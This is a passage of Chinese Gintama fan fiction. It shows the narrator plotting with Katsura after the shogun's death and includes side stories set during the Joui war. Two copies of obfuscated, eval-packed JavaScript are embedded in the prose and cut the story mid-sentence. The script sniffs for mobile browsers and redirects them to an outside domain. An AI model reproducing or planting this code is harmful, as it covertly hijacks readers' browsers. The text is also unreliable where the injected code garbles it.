尽管我没刻意关注时政,但德川茂茂身处这个漩涡中心,现在又被天道众舍弃,除非他彻底离开权力中心,不然只怕也活不久。这一点,银时不可能没想到,只是…… 看了眼这两个曾拼命保护德川茂茂的人,我没戳破他们最后的希望,也许松平公那些人能保下他们的大将吧。 新八还在看着我们,期盼我们能给他一个坚定的答案。 “时代总会发展的,现在不过是终于开始而已。”我回过神,鼓励般望着他,轻声道。 也许是参加过战争,现在这种压抑的社会氛围并没有对我造成很大的紧迫感,甚至有种一直停滞的状态终于可以打破的快感。 室内安静了一下,银时的声音悠悠地响起,低沉有力。 “黎明之前。新八,黎明前是最黑暗的时候,但千万别闭眼,在黑暗中移开视线的家伙是看不到明天的光明的,无论前方等待我们的夜有多深。” 新八看着他,眼神逐渐坚定起来。 “黎明啊……哎,我从来都不需要这种东西。”伸了个懒腰,我站起来,“既然新八来照顾你,我去找一下假发,你们闹了那么大一场也不知道他接下来准备做什么。” 手腕忽然被抓住,我没有回头,听到银时低问,“管他干嘛?现在这时局,你别乱跑……” “你不是老让我找点正事干么,而且我也看不得你们这样折腾……”顿了一下,我回头轻笑着揶揄,“当然,银时,要是你无~论~如~何~都要我陪着你的话,我也可以陪着你到最后哦~” 手腕上的力度一紧,随后他慢慢放开手,“那你还是快滚吧……” “啧,傲娇没前途的。”我摇摇头,这性子真是多少年都没怎么变。 顿了一下,我走向门口,戏谑般笑道,“天然卷,你别总是小看我嘛。要不试着依赖我?你知道,我可是很强的,也许我才是最终boss哦~” “嗨嗨嗨,依赖你的话阿银得堕落到什么地步啊……boss大人,麻烦回来时给阿银带炒面面包啊谢谢。”银时无赖地嚷道,倒是没跟往常一样否定我的实力。 坂田银时明明就很清楚我比他带的两小只强多了,但真到了提刀要上时总是想把我隔离起来,他什么时候才能不执着于把我放在弱者的位置只想保护? 拉开门,我忽然停下脚步,敏锐地感觉病房里瞬间混进了奇怪的气息,还是那种带着痔疮膏薄荷味的气息…… 回头看了眼银时,我瞬间死鱼眼,他床上好像多了点东西……呵,这家伙的小母狗还真是无孔不入,不愧是忍者。 银时的死鱼眼也望了过来,我笑了笑,“呐,银时,你还记得石川城吗?” “昂?”银时不明所以地眨眨眼。 “人生经常在做选择题。那时候木村城主想要把单选题做成多选题,也不是不可以的。只是,要提前做很多准备,因为还没定局的时候,才有转题型的机会。在来得及的时候努力,都会有转机。”语调因为还在研究小猿的位置有些漫不经心,我随意比了个胜利的手势,“加油吧,万事屋。” 银时叹口气,翻着死鱼眼无力地摆了摆手,“说些人话可以吗?boss大人你啊,这种时候就别到处乱跑,看过假发就算了别跟他一起闹,惹了事就赶紧滚回来,阿银不在时你就怂一些,遇事打不过就跑,别乱招惹麻烦,就算招惹了也千万不要说你是我罩的,把万事屋的地址背得滚瓜烂熟也别让人来万事屋找茬……” 我仰头无奈叹口气,很认真地劝他,“傲娇真的没前途啊。” 说句实话,我有时候觉得连高杉都比银时坦率,这些话高杉是肯定说不出口,但他会直接上手把我拎走。 71.旧人的联合行动 整个江户都陷入了一片哀思中,长长的送葬队伍从江户城出发,几乎看不到尽头。沿路都是一片黑压压的人群,仿佛连空气都弥漫着哀思。 德川茂茂,这个心怀天下的将军,在这天正式成为武士之国历史。所有人都在悼念这位年轻的将军大人。尽管不过是天道众的傀儡,但他的仁性,他的努力,依然为人所见,受他庇护的百姓爱戴。 他的死,拉开了这个粉饰太平的时代最后的黑幕,江户进入了倒幕的倒计时。 长夜已尽,天空褪去了晦暗,终于爬出来的太阳把天际染成了如火般的黄,清晨的光开始撒落大地,温暖而柔美。整个世界仿佛被染上一层橙黄的色彩,把之前的阴霾完全覆盖。 站在天台上,我叹了口气,也不知道是感叹自己对时局的敏锐度,还是感叹德川茂茂终究逃不开被暗杀的命运。 银时他们一定很难过,牺牲那么多人去保护的将军还是死在好不容易走出一条出路之后。所以我才说,这个时代确实太讨厌了,什么都失去了,依然是什么都无法保护。 摇摇头收回四散的心神,抬眸看着前方的人,我不合时宜地想,桂现在的背影活像在祭奠亡夫的遗孀…… “虽然立场敌对,但看来你跟他还是很有共鸣。既然这样,为什么不去救他呢?” 捡起破碎一地的节操忽略掉遗孀的错觉,我眯起眼享受那阵柔和的风,感慨男人的友情真的不能看表面。 银时和高杉从小打到大,宣称反目多年,但说起杀掉对方和保护对方都只能是彼此。桂跟那位死去的将军德川茂茂可以说是完全敌对的关系,但两人的本质和政见却非常一致,当然,脱线的程度也不相伯仲。不但他们,就连真选组也是,冲田天天想着干掉土方,但实际上爱他爱得不行。 这些男人,都把口是心非演绎得淋漓尽致,但一旦理解,就会为他们的友情和羁绊而感动,甚至被他们深深吸引。 “不过是男人间的约定罢了。”他手中的花瓣被风吹落,顺着飘扬的长发飞入空中,缓缓落于大地。 桂闭起眼转身,笑容罕见地有丝感叹,“不论是谁,存活下来的那个人,都必须要开创江户的明天。” “你不是一直在为这个目标努力么?”我笑看着他。 眼前的男人意志坚定得让人佩服,从小时候立志于江户的黎明后,从来没有迷惘过,一直奋力前行。哪怕也在十年前那场抉择中绝望过,却不曾停下前进的脚步,真正做到心怀天下,孤独前行。 桂把手中的花束甩向天际,信步走向我,满眼温柔,“那么,以这种眼神来见我的你……是想要干什么坏事么?阿萤。” 我不明所以地打开手机看了眼,很正常的眼神啊。怎么他们都这样说我呢……倒是银时没说过什么。 啊不对,他一直认为我是S,说恐怖来着,但一定是他错觉,我亲切随和呢。 “当年你建议我们攻向江户时,就是这样的眼神,还怕被骂只敢看着辰马,那是要干坏事的恶徒的眼神。”桂轻嗤而笑,双手环胸,眸中精光乍现,与平日脱线的人设截然不同。 “你该不会以为这十年我跟银时一样过得浑浑噩噩吧……阿萤,我好歹也是攘夷稳健派的头子,消息来源比你想象中要多,哪怕是鬼兵队的人刻意压下来也一样能收集到。你收编了泽木他们,跟辰马一起在宇宙倒卖物资撬动庞大的资金,利用高杉那边的势力跟春雨合作,甚至……在宇宙闹了那么大动静,是想要做什么呢?” 毁灭世界啊。 当然 ,我不敢直白地刺激他。 我扯出一个单纯的笑容,否认道,“不是我,是那个什么影子杀手做的。” “可不是么,攘夷时期的神秘传奇跟宇宙海盗混一起,毁灭了那么多个星球,凶残又狡猾的地球人之名已经被宇宙知晓,更大地恶化了各方关系……现在一桥派和他们背后的人都在查那到底是谁。你啊……明明这些我们来做就好,怎么就混进去了呢?” 桂担忧地拍拍我的头,“虽然也没几个知道你跟那个称号的关系。” “月见萤可是从小就在吉原长大的……怎么查也不会有痕迹。”我自信地笑了,随即头上被敲了一记。 “这是重点吗?” 我震惊了,桂居然跟我抓重点? “你是谁,赶紧从我们假发身上出来,把假发还给我!” 我盐呢?我要撒! “不是假发,是桂!”桂正经脸,看着我叹口气,“阿萤,我说过,一定会让你看到江户的黎明……你只需要……” “假发,这个江户已经不能由现在的方式获得黎明了,人类的敌人不是幕府这么简单。你不是早就觉察到了吗?下一步,那些人很快就要动手了。” 别说我有内应,就是按常理猜测也很容易。 德川派倒台,拥护他们的人很快就会被肃清。首当其冲,当然就是跟茂茂关系极好的松平片栗虎以及他手下的真选组等人。但这些人可以说是真正的江户守护者,若这些人被肃清,江户便是天人唾手可得的了。 桂脸色一暗,攘夷那么多年,他怎么可能不知道天人的势力有多难对付,人类面对的困境有多危险? “不破不立,不牺牲任何人的黎明根本不会到来。”我敛了笑容,冷漠地看着他,“我只在乎你们,而且……我不会那么天真地以为和平和新时代会因为换个将军就有。这个国家不能再内斗,所有人都应该知道敌人是天人而不是彼此。但人类啊……是喜欢争夺利益和内斗的生物,只有在面对共同的极大危机时才会学懂团结,也只有在惨痛的恐惧过后才会珍惜和平。” 教训不痛的话,就不叫教训了。历史上所有的盛世,都是靠血肉和枯骨换取的。身在这种时代,根本不能有太理想的期待。 幕府的派系争斗不过是天人的傀儡游戏,我从来没有着眼在幕府上,我想要摧毁的,是真正影响这个时代的东西,是天上那群乌鸦。 “假发,大家只聚焦在幕府这种暗斗上的话,便看不到真正的敌人了,那可是比任何东西更危险的存在呢。如果这个时代不行,我们就毁掉再开创一个新时代。在地球上人类内斗没什么意思,要打就跟宇宙的天人打。要获得和平和黎明,不能靠一两个人的努力,全人类都应该出一份力才对。” 所谓敌人的敌人,就是盟友。要让人类团结,就要有足以让全人类都恐惧的敌人。桂也好,高杉也好,甚至银时和真选组那些人也好,他们不一定不知道真正的敌人不是幕府或者天人,只是四散的势力无法撼动这些敌人而已。 而刚好,我就认识那么一个想要毁灭地球,又能做到的……盟友。 桂哼笑一声,“阿萤你啊,总是这样不顾他人死活。辰马那边几乎是你的人,高杉现在出了事,鬼兵队的人会先安置他,但你要的话估计也听你的……嗯,看样子你不打算告诉银时吧?” 我眨眨眼,确实只有他还没空去查我干了什么。可是啊…… “他的刀光是保护现在的家人朋友已经很忙了,把他留在未来吧,我们这些旧人就自己上吧。反正……我不会输的。” Joy3当中,只有银时真正地做到了开展新生活,活在阳光之下。当然他依然被过去牵绊,但他也一直努力前行,身边也有无法放下的同伴了。前路再难,只要有人需要他,有活下去的理由,坂田银时都不会放弃。 高杉那娃因为松阳的事完全失控不提,他本身也一直对松阳的事有疑问。桂一直在坚持攘夷,辰马也是一直在实业救国的方向前行,他们与我想要做的事密切相关,是我的助力。而且我觉得辰马那个喜好刺激的混蛋,比我更热衷这事。 所以,这场豪赌我可以跟高杉联手,拉上辰马,甚至桂也可以,但不太想牵扯银时以及他身后的神乐新八。 万事屋的孩子们,是未来新时代的代表。不但我,连高杉也是这样想的吧,所以一直以来他对松阳的疑惑和追查都不曾跟银时说过一句。 桂偏头勾了勾唇,了然的目光让我心虚。 我咳了声,转过头别开眼。 …… 好吧,我承认,以上都是借口。 真相只有一个,那就是我根本hold不住那个不按牌理出牌的坂田银时! 跟高杉对我的信任和放任手下听我的不一样,银时要是知道我在干什么,这个随时把自己放在我监护人位置的混蛋一定会不放心地全盘接手,甚至把我架空保护起来,只让我在后方帮忙,而他很快就能查到我最终的目的以及虚的存在。 这个以奇袭著称的混蛋会让事情发展疯走,而他对松阳的感情不一定能让一切如愿收场。我不能在最后时机来临前让这一切脱离我的计划……至少,在我有把握之前都不行。 “他也逃不了的,倾巢之下焉有完卵。”桂挑眉,意有所指,“你最好有逃命的心理准备。” 都逃不了的,就银时跟真选组的关系,估计接下来就能碰到不想要他碰到的人。 而且,桂接下来的计划里大概率少不了银时。他一直希望银时回来攘夷,不过不想勉强他罢了。现在万事屋为了真选组对上幕府,他乐见其成。 真好,大家都是殊途同归。 至于银时的怒火嘛……我不在乎地摆摆手,“不要紧,他这辈子都不能生我气,我才不用逃哦~” 所以说,人在年少的时候还是不能犯太多的错,不然坑了未来的自己。我从来不惧怕坂田银时这个人,无论是白夜叉还是万事屋的阿银。 “阿萤你啊……有些事无感就算了,在这种地方还跟老师一模一样,都很欠揍,别太欺负他啊混蛋。”桂象征性地为挚友说两句,然后就摊手表示不管了,只是问我,“我能帮忙么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355507|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你来见我是想要在我的行动里加些东西吧。” 我垂眸,虚的身份太敏感了,当人类面对这个敌人的时候,松阳的弟子们必然会首当其冲。至少,在那之前,我要把某些东西拿到手。 然而这些,我还不能跟他坦白。 “假发,你们是松阳当年为新时代留下的希望火种,你也一直在正确的方向上努力。攘夷时期我就说了呀,就算不在一起,我们的目标都是一致的,只是在不同地方战斗而已。你只要把地球上的势力整合就行,让这些火种燎原,汇成火海。我会在宇宙为你们开辟疆土的~等到了那个时候,我们联手开创新局面。”我勾着他的手,坏笑着碰了碰他的肩膀,“反正,你不是已经有计划了吗?真选组早晚是你囊中物了吧~” 哪怕银时会插手,也阻挡不了真选组的没落,而桂肯定不会错过这种收编真选组的机会。就这形势,只怕连见回组也不远了…… 我跟信女的关系其实也还不错,可以介绍一下让他们师兄妹提前相认,就看桂有没有收编的意思了。这对天然黑的师兄妹合作,地球的权力中心会成为助力。 “你怎么能这样想?一切都是为了江户的明天!”桂说得正气凛然。 啧,不愧是松阳教出来的,我们的神童啊。 “假发,这样的话,你的功劳也不会被人看到,甚至你的名字也许只能在历史的阴影里面出现,后人对你的评价也不会很正面。” 历史对无名英雄从来都不公平,我有点心疼地看着他。 “呵,我的名字已在通缉令上出现够多了。连叛党的罪名都不计较,我们何必在意历史的评价?”桂的眼神一片清明,笑容坚定,只是强调一样,“不是假发,是桂,只有这个必须记得了哦,阿萤。” “哈哈哈……加油吧,假发,成为地球的英雄!我们家的男人绝不能输~”挽起袖子,我比了个勇士的手势。 “不是假发,是桂!” 这一次,我们一起夺取江户的黎明! “凭什么啊?晋助大人都这样了,你来到宇宙都不探望一下?” 又子难以置信又受伤夹杂着不忿的声音从屏幕中传来,声音之大让我耳膜都有点痛。 “因为赶时间。”我没好气地摊手,见了面又不能揍他消气,那还不如不见。 免得有人一直吐槽我偏心。 看着屏幕里头毫无知觉的人,我很心疼,但不会太过担忧。高杉晋助才不是这样就会去地狱的男人,银时还活得好好的,他怎么舍得死? 哼哼,胧,给我等着! “万斋,你们自己小心些。另外,又子,他不会死的,他要干的事还未完,跟我的合作也还没完。替我转告他,十年前我选择了他们,因为只有这样他们才能有未来,尽管不是他们想要的。但,这是我和松阳的希望,也是我们的约定。如今,我不会让他们再次面临这种选择。因为命运,选择了我。” 虽然我没打算认命。 无论他们三个谁杀掉虚,也不过是重复当年的痛苦而已。但那么傲娇的那三个男人是不会让虚死在其他人手里,所以只能是我来破这个死局。 开什么玩笑,命运都指名我要牺牲了,还不许我自寻生机么?而我做这么多,可不是为了让他们再度面临这种破事的。 “又子,记得跟晋晋说,以后他就跟银时这个真爱继续相亲相爱吧,好好活着,在阳光之下。跟他说,我不需要葬礼,但我还挺喜欢看他们打架的,要不,让他们每年在我的坟头上打一场?哈哈~” 不负责任地丢下话,我果断掐断了联系,已经可以预见又子懵然又狂怒的样子。 “啊啦啊啦,真是个不顾别人死活的混蛋,这样说的话,高杉队长就是坐船进了三途川也得游回来揍你呐,阿萤。” 屏幕一转,坐在驾驶位置的泽木挤眉弄眼地笑道。 “可不是么,不愧是从小认识,雷区仅有的点都被你精准地踩了,高杉队长砍过来的时候可别指望我们替你挡哦。”黑子站在他身后摆了摆手,一脸的敬谢不敏。 确实,松阳,银时,我自己,基本把高杉为数不多的雷点都引爆了。我就说踩雷这点没人比我精通,这样一想,我噗嗤一下笑了出声。 晋晋啊,这下……你就是在地狱里也得给我爬回来。 “坂本队长那边已经出发去接应万斋大人了,希望能顺利会合。”泽木还是有点不放心,“阿萤,你真的要单枪匹马去这个大本营?” 我点点头,朝他们露出自信的笑容,“你们有更重要的事,而且,我从小就学的道理是,鸡蛋不能放在同一个篮子里。” “阿萤,到了哦。”黑子拍拍泽木的肩膀,提醒道。 春雨的旗帜下,那个光是站在那里已经让人无法忽视的身影散发着慑人的气势。 “来吧,伙伴们,开工~” 72.番外,攘夷二三事 ……………… 对应时间点38章,有需要可重看哈哈~……………… 桂踏着地上的枯枝,走向那两个伙伴。 长刀仍滴着血,一身染红的白袍,坂田银时抬头望着还没破晓的天际。听到声响他也没动,只是眼珠子微微偏向这边,眼神凌厉如刃,满是阴鸷的杀意。 另一边,高杉甩掉长刀上的血,冷冷地看着倒在地上的人,眸色幽暗,狠戾的暗光从眸底划过。 桂挑眉,这两人的杀气比在战场上还要肆溢。看了眼地上的人,他嗤了声,“真是干脆。” “干脆?”高杉勾了勾唇角,冷笑着反问。 桂看了眼,除了被斩首,那个原本实力不俗的人身上还有不少深浅不一的致命伤,两名大将一起出手的话确实有点浪费。但……他满意地点点头,“还行。” 任何一个武士都不会放过这种人渣,更何况他还企图染指他们家的姑娘。只是这样子……有些太为难收拾残局和善后的他了。 桂有点头疼,想着要怎样才能给出一个合理而符合大义又不会让阿萤再受质疑的解释,明明一刀斩首就能完事。 “呐……你说,我们把她拉到这个地方,是不是比这人还可恨?”高杉收刀入鞘,低垂着头忽然道。 她不应该在这种地方……月见萤干净而纯粹,跟杀戮与战争格格不入,她应该在更美好平和的地方,懒散地晒着太阳哼着不着调的曲子。 桂检查的动作一顿,目光落在那些血污上,没有回答这个问题。 银时默了一下,蓦地嗤笑起来,懒懒地甩去刀刃上的血,“喂喂,跟这种渣渣比较也太侮辱自己了吧,高杉小少爷。别小看她啊……那笨蛋比阿银还冷静,真不知道受惊吓的是谁……” 他额头还痛着呢,这混蛋……头铁得跟假发那石头脑袋不相上下。亏他还担心她会有心理阴影什么的,结果转个头的功夫她已经可以去安慰关心她的妹子了。反而是他们三个没用的家伙在担忧些有的没的。 “呵……确实,我们阿萤才不是任人欺负的小可怜。”桂最清楚,面对企图伤害自己的人,阿萤下手可是又快又狠的。在他赶到之前,那人已经被废了,舌头都被割下,而她甚至连衣衫也没乱。 桂是骄傲的,那可是他们手把手教出来的姑娘啊……是他们信任,却又想要保护的家人。 “你们也知道的,她只是在我们身边的时候比较松懈而已。而且……高杉,外面也没什么地方是绝对安全的,她的话,还是放在眼前才稳妥吧。说过了,不会让她一个人的。” 闻言,高杉低笑着往回走,“确实,那笨蛋一个人只会干蠢事。” 打了个打哈欠,银时抬手扯了扯自己又沾了血的外袍,漫不经心地咕哝,“回去吧,天都快亮了。” 桂失笑地看着两个敛去杀气,神色变得轻松的少年。若说阿萤把如光般的一面展现给他们,他们何尝不是努力以最轻松的一面跟她相处? “别担心,我们一定会把老师带回来,然后回去……回到松下村塾。那时候,这个黑暗的局面一定会被打破。” 那时候,她和老师就可以继续坐在走廊上,晒着太阳笑着说一些让他们无语的傻话,最大的烦恼只是怎样坑他们而已。 走在他前面的两人顿了顿足,懒懒地扬了扬手,声音坚定,“那是当然的。” ……………… 对应时间点大概就是42章后 …………………… 这是坂田银时跟高杉斗气互不理睬的第二十八天,也是坂田银时跟阿萤冷战被完全无视的第三十一天。 “你还要犟多久?”桂看不下这三人幼稚的把戏,忍不住扶额。他知道这三人傲娇,但没想到能坚持这么久,让他不想管也不忍心。 “开什么玩笑?他们把阿银的钱和糖都撒光了,怎么也该他们给阿银道歉好吧!”忿忿不平的坂田银时抱手。 “你倒是先想想那些钱是怎么来的啊白痴。”桂没辙地摊手,也不知道这人哪来的理直气壮,“银时,你就不后悔跟他们吵了吗?” 后悔?废话,坂田银时悔得快要把一头卷发拔光了。 这段时间偶尔奢侈的甜点没了,糖也没了,最重要的是,那两人还真完全把他当透明人,无缝切换众人的交谈模式,只是无视了他。 后悔归后悔,要他认错还真是…… “阿银才没错,高杉那家伙就算了,这事就是她莽撞……这么天真的人,本身就不应该在这里,她连战争残酷都没深刻体会到……你本来不也是这样想的吗,假发。”拖着桂往回走,银时没好气地搔着头。 她不应该在战场留下来,在他狠得下心的时候……送她离开时最好的选择。哪怕两人如今相互不理睬,他也不曾后悔跟她吵翻。都怪两个伙伴太容易被她说服,就她那样怎么保护好自己,她连警戒心都没有,就像那个随便睡在门口的蠢货…… “不是假发,是桂!”桂刚想反驳,前面的人忽然就停住了脚步。“怎么了?” 桂顺着他视线看去,不由得失笑。 某个正被他们讨论的笨蛋正抱着刀坐在大门边,睡得昏天暗地,怕是敌人打过来也吓不醒。 “看吧,她一点戒心也没有,这是什么地方啊?敌袭怎么办?” 睡得那么死,被人占便宜了怎么办啊? 坂田银时光这样想都要一脚踹过去了,但考虑到现在自己的处境还是不敢轻举妄动。他已经好些天没吃到甜点了……这家伙是真的一点偷吃的机会都给他。 “银时,你别小看她好吧……她跟着我们杀敌,怎么可能不知道战争残酷?”桂眸色微暗,身在战场的人怎么可能真的对杀戮与痛苦无感? 在桂看来,阿萤对时局的看法透彻得怕是作为王牌但只为自己信念而战的银时和高杉也及不上。她只是少谈论这些而已,因为对她来说,那不是她战斗的原因。 “阿萤她……只是不希望我们现在的人生只有杀戮,才以最放松最光明的一面面对我们罢了。她一直在努力保护我们,你也知道的不是吗?”桂低笑着拍拍他的肩膀。 坂田银时沉默良久,才抿唇道,“就她还保护我们……再怎么说也无法改变她总是乱来的坏习惯……” 最清楚她实力的,不是陪练最多的高杉,而是看着她进步的他。从村塾的时候起,他一直看着她从握竹刀的姿势都不懂,慢慢到跟他们对练,从拿真刀手酸,到面不改色地砍杀敌人。但这个让人头疼的笨蛋,哪怕砍杀再多的敌人,眸底都有种清澈的天真……兴致一起便不管不顾的。 其他都无所谓,但绝并不能乱来,然后让自己受伤!没有人能理解,看着她倒在自己眼前的那种惊惧有多深刻。 “所以更不能让她一个人啊……要是惹火她的话,阿萤能直接杀去敌人的大本营一了百了。这样想想的话,还是让她留在我们身边比较靠谱吧。”桂笑得有些无奈,他比其他两人更了解这个笨蛋,她还真能干这种事。 但比起天人的据点,桂更担心她会杀去这个国家的中心。 “还杀去敌人大本营?你也太看得起她了吧,她就是一个弱鸡……” 门边的人睡颜安静乖巧,看起来就是个需要人护着的家伙,错一眼都怕她受害。那晚是他背她回来的,他身上的浴衣几乎被她的血浸泡着。 绯瞳轻眨,银时无奈地挖着鼻孔,顺手把鼻屎揩在桂肩膀,“假发你才是别给她上什么奇怪的滤镜。” “别太小看她啊,银时,你忘记那次黑川城主的事了吗?” 那次他们追捕的敌人神隐了,为了把敌人势力连根拔起,他们混进了敌人的城池。结果,她单枪匹马闯进线报显示的敌人所在地,开场就大喊黑川城主驾到。 “还给我提这个!”说起这事银时就怒了,“我们差点团灭在那!哪有人直接一次性把所有敌人都找出来的啊!” 她从当地游女中确认了黑川的怪癖,出现必要强硬地让下属跪拜。她那一喊直接把敌人喊懵了,跪在地上的全是他们要找的。 “啊哈哈哈哈,多有效率啊。再说,阿萤在攘夷战场也是有名号的,那也是算是打出自己名号了。”桂骄傲地抬起头,因为她的果断,原本三十天的潜伏任务直接干成了三天收工。这次的事也让外头的人给她取了个了不得的名号,只是在他们看来太挫了,大家都不忍心告诉她。 桂很清楚这个女人,她要是知道了一定会抓狂否认的。 坂田银时捂脸叹气,“你们两个还是隔离吧……凑一起就没好事……” 别以为他不知道,那个计划就是她和桂两人搞出来的,她顺利溜出去还是桂打的掩护 两人越聊声音越大,那边的人却依然毫无反应地睡着,一点醒来的意思也没有。 “嗯……银时,你说得对,她还是大意了些。这里可都是些肮脏的男人,万一有痴汉出现……就跟松子一样,不过是下班在公交车上打瞌睡而已,就遭到了柴田的惦记,从下车一路跟回家,还买了礼品拜访松子的父母……哦,不,松子绝对不能就这样嫁给柴田,这种不过是痴汉而已啊!”桂越想越生气,把想象中的礼品狠狠地甩在地上,用力踩了踩,怒道,“我是不会因为这些红白机礼品就把阿萤嫁出去的!” 桂目光凶狠地怒指着地上的树枝,“所以柴田,别以为跪在地上恳求我就会心软啊!就算你跪上一百天我桂小太郎也不会……” “停止你那些无聊的脑补吧!”银时顶着一头黑线把入戏太深的伙伴一脚踹出去。 转头看到那个还在睡的笨蛋,他烦躁得蹦了一头十字路口,“她能再无感一点吗?万一被柴田惦记上了怎么办啊?就算是送给阿银一百万颗糖果的礼盒也不可以!呃,等等,一百万颗糖有多少来着?啊嘞,这得吃好多年……” 银时十只手指数了又数,没等他下决心走过去,一个高挑的身影走到他身边,抬手搁在他肩膀。 “哟,金时,你们在看什么啊?啊嘞,阿月怎么睡在这?肩膀会痛的哦~”坂本辰马抬手遮眼看了看。 “啊……真是让人不爽。”数着手指的银时被拉回了正题,又咬牙道。 “啊哈哈,别担心,交给我吧。”辰马胸有成竹地拍拍他的肩膀。 只见坂本辰马信步走过去,一屁股坐在她身边,顺手把她的头按在自己肩膀,搂着她靠着自己,然后抬头给这边一个灿笑,比了个OK的手势。 银时和桂两人顿时陷入一片阴影。 冷哼声从他们身后传来,银时回头便看到高杉寒着脸走过来。 “就算柴田把全部家产拿来,都别想得到我的同意!”高杉冷冷地道,眼尾都不曾扫他们一眼。 “高……”银时还没打招呼,高杉已无视他直接越过去,走到那边坐在她另一边,然后极顺手地把她的头拨到自己的肩膀。 银时死鱼眼看着那个全程毫无知觉,直接靠在高杉肩膀睡得四平八稳的人,抓狂地扯着头发,“不行了,这种蠢货怎么在这里混啊……” 气死他了,还道歉,他现在都想把人揍醒骂一顿! ……………… 对应时间点46章后 ………………………… 这是长谷川泰三出现在据点前的事情。 尽管一身男装,扎着利落的马尾,但那低头浅笑的眉眼,满溢于外的温柔还是能看出那是个美丽的姑娘。她的手覆在蹲着的男子头上,一下下地轻揉,耐性地安抚着痛哭的人。阳光撒落在他们设上,美好得如同神明救赎信徒。 啊……原来那时候还有这一出啊…… 手指掐着树干,坂田银时顶着脸上的十字路口不爽地看着这一幕,她就不能长点心眼吗?那可是男人啊,这个好当长辈的笨女人! 直到她安抚完同伴后转身离开,他才没好气地撇撇唇,跟了过去。 “银时?” 蓦地,女子忽然转头看过来轻唤。 坂田银时吓了一跳,连忙闪到树林中藏起来——差点忘记了这家伙的直觉有多敏锐。 慌不择路地闪进没人的院子里,坂田银时看了眼晾晒的衣物,耳边隐约有人声,随手扯过布条把脸包起来。 明日之前,他不能被人发现。 才刚蒙上脸,身后便无声地掠过杀意。他心神骤然一凛,动作极快地避开疾来的凌厉剑气。 风骤来,满院子的衣服飞扬,衣角错落间,少年暗紫近黑的短发扬起,幽绿的眸子清明蕴藏气势。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367741|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你是什么人?”少年持刀而立,刀尖几乎逼近坂田银时的鼻尖。 啧,这家伙当年有这么厉害吗?27岁的坂田银时看着意气风发的少年,心中五味陈杂。 他都快要忘记了,那个只想毁灭世界的中二男,也曾有过这么正常的青春期。 “喂,我在问你……你是谁,来这里干什么?”高杉晋助握着刀晃了晃,冷冷地看着眼前有着一头眼熟的银白发,蒙着脸的男子。 干什么?坂田银时忽然抬头看了眼天空,他为什么冒着被发现的风险跑来这里? 也许……只是想跟这些笨蛋好好道个别,再看一眼这两人的蠢脸吧。 那个在他的时间还没回归,在未来却又早早化成灰的笨蛋,和那个在他的时间已反目不相见,在未来已不在的笨蛋。 真是奇怪,他身边的人大部分都烦人得很又赶都赶不跑,唯有这两个笨蛋,如风一般锁不住,一个不留神就会自己跑掉,连好好道别都做不到。 明日以后,无论那个世界的坂田银时都不会存在,但这个世界的月见萤不会化成灰,会继续灿烂地活着,而另一个人大概会经过晦暗的时光,但他的话一定会再继续前行…… 当然,这些都是猜想,因为,坂田银时不会看到后续。 刀刃的锋芒不耐烦地掠过他眼前,坂田银时轻咳了一下,眼珠子左右移,对了对手指,“啊,那个,阿银……不,阿珍我听说这里有个超级巨星,啊哈哈,才想着过来拿个签名啥的……” “巨星?”高杉扬了扬眉,眼神明显表达一个字儿都不信的坚定。 “啊哈哈,对,就是那个所向披靡,英俊潇洒又剑术高超,风靡无数江户少女,令天人闻风丧胆的超级英雄……白夜叉大人,我是他的超~级~粉~丝~哦~” 面容被遮挡一半,银时睁着一双星星眼祈祷状,夹着嗓音跟追星小女生无异般道。 瞬间死鱼眼,高杉收刀入鞘,转身就走,“还以为是什么探子,没想到是个脑子有问题的瞎子……算了吧,翻不出风浪。” “诶诶诶,等一下,”坂田银时不爽了,什么叫眼瞎和脑子有问题,明明就很有眼光好吧,“你该不会以为我会说你吧?昂?总督大人怎么就那么自信呢?瞧你这一身行头就是那种有钱家里的小少爷吧,搞个攘夷就像是爸爸给买的乐高玩具一样过家家,整天无所事事就想着毁灭世界那种中二十足的……哇!” 紧急撤回自己的脚避开刺过来的长刀,坂田银时跳脚地跃开,“谋杀啊!你这是恼羞成怒吗?被说中了你的野望吗?你就是妒忌别人有粉丝吧矮杉君!” “闭嘴!”气冲冲地走过来,拔起长刀,高杉冷冷地瞪着眼前连和服都没好好穿上的男人,咧出残笑,“啊,看着就是敌人,还是砍了吧。” “诶诶,心理别这么脆弱嘛,反正小少爷也要搞事业嘛,大家都理解的。多接受别人的意见,你才会健康成长,不然早晚会变成只想毁灭世界的中二男,然后悲剧的。再说,”坂田银时讨好地笑着绕过刀身搭上对方的肩膀,“我可不是什么敌人哦,所谓四海之内皆兄弟,江湖所见俱朋友,我们……可以成为同伴哦~” “是么?”高杉偏头看了他一眼,语气疑惑。 哎,这个时候的少年还是很好骗啊,所以他当年才能白喝那么多养乐多。 坂田银时连连点头,“当然,别看我这样,我可是能秒杀你们的王牌哦~” 没错,明天,他就要把他们的王牌杀掉。 高杉默了一下,蓦地勾唇,“凭你?别开玩笑了……” 哪有开玩笑,他们至今保持的记录也是五五开……诶,多少场来着?反目后太久没见他登场,银时自己都快忘了他们打过多少场。 坂田银时还没数完他们的记录,胸腹骤然一痛,旋即整个人被过肩摔出去,砸进一边的矮树。 “哼,就这水平,别说我们的王牌,我们的白痴也赢不了吧。”高居临下地看着他,高杉扬了扬眉,笑得有些邪气,“赶紧离开吧,这不是颓废的大叔来的地方。” 